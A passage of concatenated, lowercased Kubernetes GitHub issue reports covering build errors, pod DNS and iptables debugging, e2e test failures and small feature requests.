{\r                 \ instanceport\ : 31431,\r                 \ policynames\ :  \r                     \ k8s-proxyprotocol-enabled\ \r                  \r             }\r          ,\r         \ instances\ :  \r             {\r                 \ instanceid\ : \ i-085ece5ecf\ \r             },\r             {\r                 \ instanceid\ : \ i-0b4741cf\ \r             },\r             {\r                 \ instanceid\ : \ i-03aea99\ \r             }\r          ,\r         \ dnsname\ : \                            \ ,\r         \ securitygroups\ :  \r             \ sg-        \ \r          ,\r         \ policies\ : {\r             \ lbcookiestickinesspolicies\ :   ,\r             \ appcookiestickinesspolicies\ :   ,\r             \ otherpolicies\ :  \r                 \ k8s-proxyprotocol-enabled\ \r              \r         },\r         \ loadbalancername\ : \ a1df476de2aa011e9aabe0af927e6700\ ,\r         \ createdtime\ : \ 2019-02-07t06:18:01.020z\ ,\r         \ availabilityzones\ :  \r             \ us-east-1a\ ,\r             \ us-east-1b\ ,\r             \ us-east-1c\ \r          ,\r         \ scheme\ : \ internet-facing\ ,\r         \ sourcesecuritygroup\ : {\r             \ owneralias\ : \ abcd\ ,\r             \ groupname\ : \ k8s-elb-abcd\ \r         }\r     }\r

  \r   what happened  :\r i'm building kubernetes using the make command, reporting an error, does anyone know why?\r \r root@inserver-inspurclouddev-392-10:/opt/go/src/k8s.io/kubernetes  make\r +++  0610 17:52:14  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/defaulter-gen\r find: 'rsync': no such file or directory\r find: 'rsync': no such file or directory\r find: 'rsync': no such file or directory\r ./hack/run-in-gopath.sh: line 33: _output/bin/defaulter-gen: permission denied\r make 1 :      makefile.generated_files:248: gen_defaulter  error 1\r make:      makefile:526: generated_files  error 2\r \r \r   what you expected to happen  :\r i want to build kubernetes\r \r   how to reproduce it  as minimally and precisely as possible   :\r $ go get -d k8s.io/kubernetes\r $ cd $gopath/src/k8s.io/kubernetes\r $ make\r \r \r   anything else we need to know?  :\r no\r \r   environment  :\r - os  e.g:  cat /etc/os-release  :ubuntu 16.04.5\r - kernel  e.g.  uname -a  :linux version 4.4.0-131-generic\r - install tools: go 1.12.5\r

masters have a limit to how large they can scale -- around 1000 nodes in 1.2.  we should have a flag that prevents significantly more nodes than that from being registered with the master.

the newrelic daemonset example needs a best-practices pass and cleanup.  see  16014, comments at the end.  @brendandburns

today, we create a secret with users kubeconfig for federation control plane to be able to talk to all federated clusters.  other alternatives: - admin should create a service account in the cluster that federation control plane needs access to  ref https://github.com/kubernetes/kubernetes/pull/35154 issuecomment-255863762  - federation control plane should send a certificate signing request  csr  to the cluster that it needs access to. an admin can them approve that request and federation control plane gets the required certs to talk to that cluster  ref https://github.com/kubernetes/kubernetes/pull/35154 issuecomment-255880813   cc @kubernetes/sig-cluster-federation @liggitt @madhusudancs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   kubernetes version    use  kubectl version  :\r \r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r ubuntu 16.04\r -   os    e.g. from /etc/os-release :\r \r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r -   kernel    e.g.  uname -a  :\r \r linux neptune 4.9.0-11-generic  12-ubuntu smp mon dec 12 16:18:23 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r \r kubeadm\r \r -   others  :\r \r \r   what happened  :\r \r only kubernetes cluster-ip is accessible within cluster.\r \r  kubectl get svc --all-namespaces :\r \r    \r namespace     name              cluster-ip       external-ip     port s                       age\r default       kubernetes        10.96.0.1        <none>          443/tcp                      11h\r default       web               10.110.239.17    139.162.73.37   80:30866/tcp,443:32051/tcp   9h\r kube-system   kube-dns          10.96.0.10       <none>          53/udp,53/tcp                11h   \r    \r \r test in my web pod:\r \r    \r bash-4.3  nc -w1 -v -z 10.96.0.1 443;  nc -w1 -v -z 10.96.0.10 53\r 10.96.0.1  10.96.0.1:443  open\r nc: 10.96.0.10  10.96.0.10:53 : operation timed out\r    \r \r and i cannot dig/ping any domains.\r \r   what you expected to happen  :\r \r i think dns service cluster-ip tcp 10.96.0.10:53 should be accessible, because its name server of pod.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r this is how i install k8s on my ubuntu for development.\r \r    \r kubeadm init --pod-network-cidr 10.244.0.0/16\r kubectl apply -f https://github.com/coreos/flannel/blob/master/documentation/kube-flannel.yml\r kubectl taint nodes --all dedicated-\r    \r \r   anything else we need to know  :\r \r i can access both cluster ips outside of pod:\r \r    \r  host    nc -w1 -v -z 10.96.0.1 443;  nc -w1 -v -z 10.96.0.10 53\r connection to 10.96.0.1 443 port  tcp/https  succeeded!\r connection to 10.96.0.10 53 port  tcp/domain  succeeded!\r    \r \r this is iptables rules:\r \r    \r  host    iptables-save \r   generated by iptables-save v1.6.0 on tue feb 14 01:44:14 2017\r  raw\r :prerouting accept  312569:150267780 \r :output accept  310439:152585296 \r commit\r   completed on tue feb 14 01:44:14 2017\r   generated by iptables-save v1.6.0 on tue feb 14 01:44:14 2017\r  security\r :input accept  377825:181127570 \r :forward accept  403:56728 \r :output accept  375435:183941511 \r commit\r   completed on tue feb 14 01:44:14 2017\r   generated by iptables-save v1.6.0 on tue feb 14 01:44:14 2017\r  mangle\r :prerouting accept  378860:181427852 \r :input accept  378300:181361510 \r :forward accept  403:56728 \r :output accept  375903:184177991 \r :postrouting accept  376306:184234719 \r commit\r   completed on tue feb 14 01:44:14 2017\r   generated by iptables-save v1.6.0 on tue feb 14 01:44:14 2017\r  nat\r :prerouting accept  0:0 \r :input accept  0:0 \r :output accept  0:0 \r :postrouting accept  0:0 \r :docker -  0:0 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-475uwwx75gstowfe -  0:0 \r :kube-sep-dbixwrlypxafhh7z -  0:0 \r :kube-sep-hjti2lt5vld33gow -  0:0 \r :kube-sep-hwbrbqk2d3on6v2x -  0:0 \r :kube-sep-lonu7m62dwzjho5x -  0:0 \r :kube-sep-ph6zhlhll76t2ne4 -  0:0 \r :kube-sep-qtjprkndn433gm75 -  0:0 \r :kube-sep-tv7awnmreaqbtup4 -  0:0 \r :kube-services -  0:0 \r :kube-svc-2t26tnvtrau2msw5 -  0:0 \r :kube-svc-54ww65jlhzhrv7hc -  0:0 \r :kube-svc-cdggshylg3re2fkl -  0:0 \r :kube-svc-derl4rs5z2wdskge -  0:0 \r :kube-svc-erifxisqep7f7of4 -  0:0 \r :kube-svc-gj6hulpzppqikms7 -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r :kube-svc-tcou7jcqxezgvunu -  0:0 \r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a prerouting -m addrtype --dst-type local -j docker\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output ! -d 127.0.0.0/8 -m addrtype --dst-type local -j docker\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a postrouting -s 172.17.0.0/16 ! -o docker0 -j masquerade\r -a postrouting -s 10.244.0.0/16 -d 10.244.0.0/16 -j return\r -a postrouting -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j masquerade\r -a postrouting ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j masquerade\r -a docker -i docker0 -j return\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-nodeports -p tcp -m comment --comment \ default/shadowsocks:\  -m tcp --dport 30125 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ default/shadowsocks:\  -m tcp --dport 30125 -j kube-svc-derl4rs5z2wdskge\r -a kube-nodeports -p tcp -m comment --comment \ default/web:http\  -m tcp --dport 30866 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ default/web:http\  -m tcp --dport 30866 -j kube-svc-cdggshylg3re2fkl\r -a kube-nodeports -p tcp -m comment --comment \ default/web:https\  -m tcp --dport 32051 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ default/web:https\  -m tcp --dport 32051 -j kube-svc-54ww65jlhzhrv7hc\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-sep-475uwwx75gstowfe -s 10.244.0.22/32 -m comment --comment \ default/shadowsocks:\  -j kube-mark-masq\r -a kube-sep-475uwwx75gstowfe -p tcp -m comment --comment \ default/shadowsocks:\  -m tcp -j dnat --to-destination 10.244.0.22:9973\r -a kube-sep-dbixwrlypxafhh7z -s 10.244.0.21/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-dbixwrlypxafhh7z -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 10.244.0.21:53\r -a kube-sep-hjti2lt5vld33gow -s 10.244.0.32/32 -m comment --comment \ default/web:http\  -j kube-mark-masq\r -a kube-sep-hjti2lt5vld33gow -p tcp -m comment --comment \ default/web:http\  -m tcp -j dnat --to-destination 10.244.0.32:80\r -a kube-sep-hwbrbqk2d3on6v2x -s 10.244.0.32/32 -m comment --comment \ default/web:https\  -j kube-mark-masq\r -a kube-sep-hwbrbqk2d3on6v2x -p tcp -m comment --comment \ default/web:https\  -m tcp -j dnat --to-destination 10.244.0.32:443\r -a kube-sep-lonu7m62dwzjho5x -s 10.244.0.26/32 -m comment --comment \ default/wordpress-mysql:\  -j kube-mark-masq\r -a kube-sep-lonu7m62dwzjho5x -p tcp -m comment --comment \ default/wordpress-mysql:\  -m tcp -j dnat --to-destination 10.244.0.26:3306\r -a kube-sep-ph6zhlhll76t2ne4 -s 10.244.0.34/32 -m comment --comment \ default/wordpress:\  -j kube-mark-masq\r -a kube-sep-ph6zhlhll76t2ne4 -p tcp -m comment --comment \ default/wordpress:\  -m tcp -j dnat --to-destination 10.244.0.34:80\r -a kube-sep-qtjprkndn433gm75 -s 139.162.73.37/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-qtjprkndn433gm75 -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-qtjprkndn433gm75 --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 139.162.73.37:6443\r -a kube-sep-tv7awnmreaqbtup4 -s 10.244.0.21/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-tv7awnmreaqbtup4 -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 10.244.0.21:53\r -a kube-services -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-svc-erifxisqep7f7of4\r -a kube-services -d 10.107.206.158/32 -p tcp -m comment --comment \ default/shadowsocks: cluster ip\  -m tcp --dport 9973 -j kube-svc-derl4rs5z2wdskge\r -a kube-services -d 139.162.73.37/32 -p tcp -m comment --comment \ default/shadowsocks: external ip\  -m tcp --dport 9973 -j kube-mark-masq\r -a kube-services -d 139.162.73.37/32 -p tcp -m comment --comment \ default/shadowsocks: external ip\  -m tcp --dport 9973 -m physdev ! --physdev-is-in -m addrtype ! --src-type local -j kube-svc-derl4rs5z2wdskge\r -a kube-services -d 139.162.73.37/32 -p tcp -m comment --comment \ default/shadowsocks: external ip\  -m tcp --dport 9973 -m addrtype --dst-type local -j kube-svc-derl4rs5z2wdskge\r -a kube-services -d 10.110.239.17/32 -p tcp -m comment --comment \ default/web:http cluster ip\  -m tcp --dport 80 -j kube-svc-cdggshylg3re2fkl\r -a kube-services -d 139.162.73.37/32 -p tcp -m comment --comment \ default/web:http external ip\  -m tcp --dport 80 -j kube-mark-masq\r -a kube-services -d 139.162.73.37/32 -p tcp -m comment --comment \ default/web:http external ip\  -m tcp --dport 80 -m physdev ! --physdev-is-in -m addrtype ! --src-type local -j kube-svc-cdggshylg3re2fkl\r -a kube-services -d 139.162.73.37/32 -p tcp -m comment --comment \ default/web:http external ip\  -m tcp --dport 80 -m addrtype --dst-type local -j kube-svc-cdggshylg3re2fkl\r -a kube-services -d 10.110.239.17/32 -p tcp -m comment --comment \ default/web:https cluster ip\  -m tcp --dport 443 -j kube-svc-54ww65jlhzhrv7hc\r -a kube-services -d 139.162.73.37/32 -p tcp -m comment --comment \ default/web:https external ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services -d 139.162.73.37/32 -p tcp -m comment --comment \ default/web:https external ip\  -m tcp --dport 443 -m physdev ! --physdev-is-in -m addrtype ! --src-type local -j kube-svc-54ww65jlhzhrv7hc\r -a kube-services -d 139.162.73.37/32 -p tcp -m comment --comment \ default/web:https external ip\  -m tcp --dport 443 -m addrtype --dst-type local -j kube-svc-54ww65jlhzhrv7hc\r -a kube-services -d 10.108.73.144/32 -p tcp -m comment --comment \ default/wordpress-mysql: cluster ip\  -m tcp --dport 3306 -j kube-svc-gj6hulpzppqikms7\r -a kube-services -d 10.106.202.125/32 -p tcp -m comment --comment \ default/wordpress: cluster ip\  -m tcp --dport 80 -j kube-svc-2t26tnvtrau2msw5\r -a kube-services -d 10.96.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-services -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-svc-tcou7jcqxezgvunu\r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r -a kube-svc-2t26tnvtrau2msw5 -m comment --comment \ default/wordpress:\  -j kube-sep-ph6zhlhll76t2ne4\r -a kube-svc-54ww65jlhzhrv7hc -m comment --comment \ default/web:https\  -j kube-sep-hwbrbqk2d3on6v2x\r -a kube-svc-cdggshylg3re2fkl -m comment --comment \ default/web:http\  -j kube-sep-hjti2lt5vld33gow\r -a kube-svc-derl4rs5z2wdskge -m comment --comment \ default/shadowsocks:\  -j kube-sep-475uwwx75gstowfe\r -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-sep-dbixwrlypxafhh7z\r -a kube-svc-gj6hulpzppqikms7 -m comment --comment \ default/wordpress-mysql:\  -j kube-sep-lonu7m62dwzjho5x\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-qtjprkndn433gm75 --mask 255.255.255.255 --rsource -j kube-sep-qtjprkndn433gm75\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-qtjprkndn433gm75\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -j kube-sep-tv7awnmreaqbtup4\r commit\r   completed on tue feb 14 01:44:14 2017\r   generated by iptables-save v1.6.0 on tue feb 14 01:44:14 2017\r  filter\r :input accept  17:7637 \r :forward accept  0:0 \r :output accept  15:7497 \r :docker -  0:0 \r :docker-isolation -  0:0 \r :kube-firewall -  0:0 \r :kube-services -  0:0 \r -a input -j kube-firewall\r -a forward -j docker-isolation\r -a forward -o docker0 -j docker\r -a forward -o docker0 -m conntrack --ctstate related,established -j accept\r -a forward -i docker0 ! -o docker0 -j accept\r -a forward -i docker0 -o docker0 -j accept\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -j kube-firewall\r -a docker-isolation -j return\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r commit\r   completed on tue feb 14 01:44:14 2017\r

\r failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=should%20create%20ingress 171d3d9981699b3a3a86\r \r testgrid: https://k8s-testgrid.appspot.com/release-1.6-all gci-gke-ingress-1.6  note that this is only one job \r \r clicking the \ changes\  button suggests this is related to  45068 \r https://github.com/kubernetes/kubernetes/compare/9d68760c3...8118c50c0\r \r example error:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:140\r expected error:\r     < errors.errorstring | 0xc4214e04d0>: {\r         s: \ incorrect source ranges  130.211.0.0/22 35.191.0.0/16 , expected  130.211.0.0/22 : found differences: map 35.191.0.0/16:{} \ ,\r     }\r     incorrect source ranges  130.211.0.0/22 35.191.0.0/16 , expected  130.211.0.0/22 : found differences: map 35.191.0.0/16:{} \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:129\r    \r \r @kubernetes/sig-network-test-failures \r /assign @bowei @nicksardo

currently the go rules in build files are generated by  gazel  https://github.com/mikedanese/gazel .\r \r we should switch to using the officially-supported  gazelle tool  https://github.com/bazelbuild/rules_go/tree/master/go/tools/gazelle , along with some sort of successor to gazel which generates the srcs and generated-code rules.\r \r cc @spxtr @mikedanese

we use https://github.com/googlecloudplatform/kubernetes/tree/gh-pages/swagger-spec to produce the static documentation at http://kubernetes.io/third_party/swagger-ui/. the spec there is a copy of https://github.com/googlecloudplatform/kubernetes/tree/master/api/swagger-spec which is generated from code using https://github.com/googlecloudplatform/kubernetes/blob/master/hack/update-swagger-spec.sh. right now, we need to manually copy the swagger spec files from master to gh-pages branch each time it changes. we need to figure out a way to automate this, to prevent the documentation at http://kubernetes.io/third_party/swagger-ui/ from getting stale.

failure cluster  160696582bc425641952  https://go.k8s.io/triage 160696582bc425641952        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:356 expected error:     < errors.errorstring | 0xc420e4a240>: {         s: \ service verification failed for: 10.0.250.160\ expected  service1-2bc0z service1-g10q3 service1-l27vr \ received   \ ,     }     service verification failed for: 10.0.250.160     expected  service1-2bc0z service1-g10q3 service1-l27vr      received    not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:328           failure cluster statistics: 3 tests failed,    20 jobs failed,    185 builds failed. failure stats cover 1 day time range '10 jul 2017 17:23 utc' to '11 jul 2017 17:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should be able to up and down services | 19 | |  k8s.io  services should work after restarting apiserver  disruptive  | 2 | |  k8s.io  services should work after restarting kube-proxy  disruptive  | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster | 12 |  11 jul 2017 15:51 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster/198  | | ci-kubernetes-e2e-gke-gci-1-6-cvm-1-7-upgrade-cluster | 12 |  11 jul 2017 15:55 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-6-cvm-1-7-upgrade-cluster/210  | | ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-master | 12 |  11 jul 2017 15:55 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-master/217  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  k8s.io  services should be able to up and down services;  k8s.io  services should work after restarting apiserver  disruptive ;  k8s.io  services should work after restarting kube-proxy  disruptive  | | sig/network |  k8s.io  services should be able to up and down services;  k8s.io  services should work after restarting apiserver  disruptive ;  k8s.io  services should work after restarting kube-proxy  disruptive  |  </details><br>   current status  https://go.k8s.io/triage 160696582bc425641952

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when operating conformance test for k8s cluster system on our company internal, only one test \ should provide internet connection for containers  conformance \   1  fails, because icmp is denied between the internet and the company inside network.\r \r  1 : https://github.com/kubernetes/kubernetes/blob/6858bb4e6025218b2f4013173dc027709819bc8c/test/e2e/network/networking.go l48\r \r   what you expected to happen  :\r \r the test \ should provide internet connection for containers  conformance \  should succeed on this environment because http/https is reachable from the company internal.\r it would be better to use http/https to verify the internet connection as a general way instead of icmp.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r go run hack/e2e.go -- -v --test --test_args=\ --ginkgo.focus=\\ conformance\\ \ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r   \r \r   what happened  :\r \r as priorityclass is imported from v1.8, we should support   create priorityclass   sub command, because \r  the definition of  priorityclass  is simple and it is convenient for us to create  priorityclass .\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r   \r \r   what happened  : in k8s v1.7.2 ,pods already deleted from server,but the container is still running in node.you can't delete it by docker rm,it will recreate and no error in kubelet log.the container will remove after u reboot the machine.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :linux ip-172-31-2-182 4.4.0-77-generic  98-ubuntu smp wed apr 26 08:34:02 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

  \r  pkg/api/unversioned  is deprecated in 2016, and marked if heapster stop using this pkg, it can be safely removed. since https://github.com/kubernetes/heapster/pull/1537, heapster not use it anymore. so it's time to remove it.\r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r security.alpha.kubernetes.io/unsafe-sysctls not work for ip_local_reserved_ports whose value is comma-separated.\r \r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: test\r   labels:\r     app: test\r spec:\r   replicas: 3\r   selector:\r     matchlabels:\r       app: test\r   template:\r     metadata:\r       labels:\r         app: test\r       annotations:\r         security.alpha.kubernetes.io/unsafe-sysctls: net.ipv4.ip_local_reserved_ports=1027,1028\r     spec:\r       containers:\r         - name: test\r           image: blackicebird/2048:latest\r    \r   what you expected to happen  :\r \r we should change the code in sysctlsfrompodannotation to use a more generic split char.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

kubernetes 1.2.4 coreos beta channel  1010   i am running a kubernetes cluster inside an aws vpc with custom dns servers. those are configured in my host /etc/resolv.conf together with an additional search domain  example.com .  kubernetes dns addon is configured to fall back to our dns servers.  when in a kubernetes managed container, i can nslookup our externally managed systems by their full name  e.g. kafka.example.com  but not by their short name  kafka . on the host, the search domain is respected and  nslookup kafka  returns as expected.  if i edit the /etc/resolv.conf inside the container to add my search domain, subsequent lookups work as expected.  the dns documentation states that kubernetes should respect the hosts resolv.conf and only prepend the kubernetes internal search domains.  how can i add my search domain permanently?

one of the most common failure signature from e2e tests is      expected error:     < errors.errorstring | 0xc82007bf80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred      e.g., https://storage.googleapis.com/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging/6166/artifacts/junit_01.xml  this provides almost no information to the developer. our infra tools also can't provide intelligent information for this. most of the tests just call functions in  e2e/framework/util  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/util.go , which utilizes the  pkg/util/wait  https://github.com/kubernetes/kubernetes/blob/master/pkg/util/wait/wait.go  package. it'd be nice to let the condition function returns error message and surface it as part of the error.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-test-go/16881/  failed: testserviceregistryexternaltrafficannotationhealthchecknodeportuserallocation {service}      rest_test.go:1012: unexpected failure creating service internal error occurred: failed to allocate requested healthcheck nodeport 30200: provided port is already allocated panic: interface conversion: interface is nil, not  api.service /usr/local/go/src/runtime/panic.go:481 +0x3ff /usr/local/go/src/testing/testing.go:467 +0x22a /usr/local/go/src/runtime/panic.go:443 +0x521 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/service/rest_test.go:1014 +0x57a /usr/local/go/src/testing/testing.go:473 +0xdd /usr/local/go/src/testing/testing.go:582 +0xae3      previous issues for this test:  31995

https://github.com/kubernetes/test-infra/issues/2453\r \r /assign @mtaufen \r \r https://github.com/kubernetes/test-infra/pull/2486\r https://github.com/kubernetes/test-infra/pull/2487\r https://github.com/kubernetes/test-infra/pull/2489\r https://github.com/kubernetes/test-infra/pull/2526\r https://github.com/kubernetes/test-infra/pull/2524\r https://github.com/kubernetes/test-infra/pull/2525\r https://github.com/kubernetes/test-infra/pull/2526

e.g. https://github.com/kubernetes/kubernetes/blob/master/test/e2e/testing-manifests/statefulset/zookeeper/statefulset.yaml l13\r \r as @kow3ns pointed out here https://github.com/kubernetes/kubernetes/pull/41180 discussion_r114213102: \r > if you are targeting >= 1.6 you should be using the fields instead of the annotations.

this is a reminder to refactor ismultiattachforbidden in the attachdetach reconciler to use a map which matches https://kubernetes.io/docs/concepts/storage/persistent-volumes/ access-modes\r \r comes from: https://github.com/kubernetes/kubernetes/pull/45346 pullrequestreview-36283731\r \r for some reason github stopped showing correct comment-links...so here is the plain link:\r  https://github.com/kubernetes/kubernetes/pull/45346 pullrequestreview-36283731

without a connection to an api server, executing a command such as  kubectl patch --local ...  will fail with the error  the connection to the server <server> was refused - did you specify the right host or port? \r this is because commands such as patch make use of the discovery client to map resources. a way to get around this would be to just default to using  api.registry.restmapper    if  --local  is passed, however that will cause the command to fail when dealing with thirdpartyresources.\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.2.5607+f0962765a73741-dirty\ , gitcommit:\ f0962765a7374172625847c84630d3b522ea728f\ , gittreestate:\ dirty\ , builddate:\ 2017-05-31t19:29:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r cc @deads2k

this e2e test is failing on several of the upgrade tests.\r \r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-cluster\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-master\r https://k8s-testgrid.appspot.com/master-upgrade gke-cvm-1.6-cvm-master-upgrade-master\r \r /cc @kubernetes/sig-network-bugs \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:488\r expected error:\r     < errors.statuserror | 0xc4240b2c80>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ service \\\ dns-test-service-3\\\  is invalid: spec.clusterip: invalid value: \\\ 127.1.2.3\\\ : provided ip is not in the valid range\ ,\r             reason: \ invalid\ ,\r             details: {\r                 name: \ dns-test-service-3\ ,\r                 group: \ \ ,\r                 kind: \ service\ ,\r                 uid: \ \ ,\r                 causes:  \r                     {\r                         type: \ fieldvalueinvalid\ ,\r                         message: \ invalid value: \\\ 127.1.2.3\\\ : provided ip is not in the valid range\ ,\r                         field: \ 